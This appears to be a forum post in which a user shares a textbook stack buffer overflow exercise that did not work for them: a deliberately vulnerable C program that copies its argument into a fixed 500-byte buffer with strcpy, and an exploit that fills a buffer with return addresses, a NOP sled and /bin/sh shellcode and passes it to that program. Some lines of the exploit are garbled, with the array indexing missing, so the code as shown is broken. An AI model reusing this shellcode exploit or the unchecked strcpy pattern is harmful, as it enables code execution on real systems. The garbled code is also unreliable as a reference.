this is just a silly buffer overflow program i saw somewhere, which when i compiled didnt work! i cant understand why as everything seems to be in order.
/*vuln.c*/
#include <string.h>
int main(int argc , char **argv)
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
}
copy first argument to out of bounds buffer
/*exploit.cpp*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
unsigned long sp()
{
asm("movl %esp , %eax");
}
int main(int argc , char **argv)
{
int i; /*looping variable*/
char buffer[601]; /*stores argv[1] for vuln*/
long ret = sp() - 500; /*vuln declared 500 chars*/
printf("esp : 0x%x\n",sp());
printf("esp offset : 0x%x\n",500);
printf("ret address : 0x%x\n",ret);
/*fill with return adress*/
for(i = 0 ; i <= 601 ; i += sizeof(long))
(long)buffer = ret;
/*NOP*/
for(i = 0 ; i <= 202 ; i++)
buffer = '\x90';
/*shellcode after NOP sled*/
memcpy(buffer + 202 - 1 , shellcode , strlen(shellcode));
/*fill end of array with nul for vulns strcpy*/
buffer[600] = 0;
execl("./vuln","vuln",buffer,0);
return 0;
}
